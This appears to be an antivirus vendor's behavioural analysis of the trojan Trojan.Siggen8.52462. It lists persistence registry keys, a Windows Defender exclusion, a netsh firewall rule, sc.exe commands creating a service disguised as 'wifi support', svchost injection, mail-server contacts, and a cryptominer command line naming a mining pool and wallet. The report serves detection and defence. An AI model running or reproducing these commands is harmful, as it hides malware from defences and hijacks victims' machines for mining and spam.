Trojan.Siggen8.52462

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\gsizjxuf] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\gsizjxuf] 'ImagePath' = '%WINDIR%\SysWOW64\gsizjxuf\bwasitvt.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\gsizjxuf] 'ImagePath' = '%WINDIR%\SysWOW64\gsizjxuf\bwasitvt.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\gsizjxuf' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\bwasitvt.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\bwasitvt.exe to %WINDIR%\syswow64\gsizjxuf\bwasitvt.exe

Deletes itself.

Network activity

TCP

HTTP GET requests

http://www.google.com/
http://li##4u.ru/client/instagram_native/likes.json?to################################################
http://ap#.##-cy.ru:35000/ via ap#.#r-cy.ru

'43.#31.4.7':443

'Ma######.Digital-Postoffice.com':25

'br####.medallia.com':25

'mx#.##rthlink.net':25

'on##.lmcu.org':443

'us###.ttvnw.net':443

'ma####te1.ij.net':25

'fi#####.ibarracuda.nl':25

'bu############rs-com.mail.protection.outlook.com':25

'mx#.###c.tsannkuen.com':25

'18#.#55.55.29':443

'vi########er.fra02.hls.ttvnw.net':443

'pa####x.above.com':25

'na#.###.#rotection.outlook.com':25

'mt##.##0.yahoodns.net':25

'google.com':443

'ma##.#yrealbox.com':25

'vi########er.sao01.hls.ttvnw.net':443

'23.##.76.150':443

'eu#.###.#rotection.outlook.com':25

'in###gram.com':443

'vi########er.ams02.hls.ttvnw.net':443

'mx####.##il.gm0.yahoodns.net':25

'bing.com':443

'p.####om.ctmail.com':25

'85.##4.134.88':482

'hk.####n.herominers.com':10451

'19#.#.131.101':418

'14#.#6.199.2':418

'46.#.52.109':418

'85.##.119.25':418

'ho#########.olc.protection.outlook.com':25

'mx.##arlet.be':25

'aspmx.l.google.com':25

'mx#.####te.mail2world.com':25

'mx#.mail.ru':25

'93.#79.68.4':418

'gmail-smtp-in.l.google.com':25

'17#.#11.49.43':418

'd9#####.##s.barracudanetworks.com':25

'ma###.infraxnet.be':25

'mx#.###ail-server.com':25

'ff######x-vip1.prodigy.net':25

'mx###.in-mx.net':25

'market.yandex.ru':443

'ma##.#wissoptic.com':25

'mx###.##il.am0.yahoodns.net':25

'ma##.#uchtips.net':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ka####kis.myweb.nl
DNS ASK mx##.#mig.gmx.net
DNS ASK gm#.de
DNS ASK mx###02.web.de
DNS ASK we#.de
DNS ASK iz##en.nl
DNS ASK ap#.#r-cy.ru
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK ex###ent.com
DNS ASK ex####smedica.com
DNS ASK mp##et.net
DNS ASK ma####te1.ij.net
DNS ASK ij.net
DNS ASK bs###.btcloud.nl
DNS ASK vi#.nl
DNS ASK ta###eerets.nl
DNS ASK lo####ck.merant.com
DNS ASK on##.lmcu.org
DNS ASK me##nt.com
DNS ASK re###ureau.nl
DNS ASK us###.ttvnw.net
DNS ASK ve##zon.net
DNS ASK zi#####in.gartner.com
DNS ASK me###roup.com
DNS ASK cr###stone.nl
DNS ASK br####.medallia.com
DNS ASK ex#####.medallia.com
DNS ASK mx#.##rthlink.net
DNS ASK ev#.net
DNS ASK vi########er.ams02.hls.ttvnw.net
DNS ASK lm###ndijk.nl
DNS ASK fi#####.ibarracuda.nl
DNS ASK al###ate.com
DNS ASK va#####.allstate.com
DNS ASK my###lbox.com
DNS ASK ma##.#yrealbox.com
DNS ASK vi########er.sao01.hls.ttvnw.net
DNS ASK vi###tron.ca
DNS ASK mx.##deotron.ca
DNS ASK in###gram.com
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK bu###ips.net
DNS ASK ya##o.es
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK bn####ine.com.br
DNS ASK mx.####.locaweb.com.br
DNS ASK xt##.co.nz
DNS ASK mx.##ra.co.nz
DNS ASK mt##.##0.yahoodns.net
DNS ASK ro###tmail.com
DNS ASK na#.###.#rotection.outlook.com
DNS ASK li##.com.ar
DNS ASK dn#######edge01.email.rr.com
DNS ASK ta###bay.rr.com
DNS ASK pa####x.above.com
DNS ASK vi########er.fra02.hls.ttvnw.net
DNS ASK bm##30.net
DNS ASK bu############rs-com.mail.protection.outlook.com
DNS ASK bu#####npartners.com
DNS ASK mx#.###c.tsannkuen.com
DNS ASK tk##.#sannkuen.com
DNS ASK mx.##peng.com
DNS ASK ad##ng.com
DNS ASK mx#.##vistar.net
DNS ASK pa###.movistar.net
DNS ASK Ma######.Digital-Postoffice.com
DNS ASK ho###il.co.uk
DNS ASK oo#s.nl
DNS ASK ma##.#wissoptic.com
DNS ASK di###uide.be
DNS ASK wo###online.be
DNS ASK ms#####p-mx1.hinet.net
DNS ASK ms##.hinet.net
DNS ASK ac###cownow.com
DNS ASK d9#####.##s.barracudanetworks.com
DNS ASK ap####ipping.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK gm##l.com
DNS ASK google.com
DNS ASK mx.##arlet.be
DNS ASK yu##m.be
DNS ASK aspmx.l.google.com
DNS ASK au###tana.edu
DNS ASK ma###.infraxnet.be
DNS ASK mx#.mail.ru
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK xe####colorpsg.com
DNS ASK hk.####n.herominers.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK ho##ail.com
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK mx#.####te.mail2world.com
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK ex###e.co.uk
DNS ASK mx#.#omcast.net
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK co##ast.net
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK ma#l.ru
DNS ASK in###ev.com.ua
DNS ASK mx#.###ail-server.com
DNS ASK pj###oney.com
DNS ASK mx#######403.gslb.pphosted.com
DNS ASK ve###ian.com
DNS ASK mx###.in-mx.net
DNS ASK pr####rvgroup.com
DNS ASK sw###optic.com
DNS ASK market.yandex.ru
DNS ASK qu####orworld.com
DNS ASK bing.com
DNS ASK p.####om.ctmail.com
DNS ASK ha##net.net
DNS ASK mx.##nafos.com
DNS ASK ao#.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ex##aim.com
DNS ASK og#####ealthworld.com
DNS ASK ma#######xcite.roc2.bluetie.com
DNS ASK ex##te.com
DNS ASK ff######x-vip1.prodigy.net
DNS ASK be###outh.net
DNS ASK mx#.###nferry.iphmx.com
DNS ASK fu###estep.com
DNS ASK li##4u.ru
DNS ASK ma##h.com
DNS ASK mb###.#x.proofpoint.com
DNS ASK mb##.net
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK mo###nest.com
DNS ASK sm######t.billgosling.com
DNS ASK ai##orp.com
DNS ASK mx#.#aver.com
DNS ASK na##r.com
DNS ASK wa##doo.nl
DNS ASK ma##.#uchtips.net

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\gsizjxuf\bwasitvt.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\gsizjxuf\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bwasitvt.exe" %WINDIR%\SysWOW64\gsizjxuf\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create gsizjxuf binPath= "%WINDIR%\SysWOW64\gsizjxuf\bwasitvt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description gsizjxuf "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start gsizjxuf' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\gsizjxuf\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bwasitvt.exe" %WINDIR%\SysWOW64\gsizjxuf\
'%WINDIR%\syswow64\sc.exe' create gsizjxuf binPath= "%WINDIR%\SysWOW64\gsizjxuf\bwasitvt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description gsizjxuf "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start gsizjxuf
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p 3 -k

Tecnologías

Términos

Formación y educación

Mitos

Technical Information

Curing recommendations

Free trial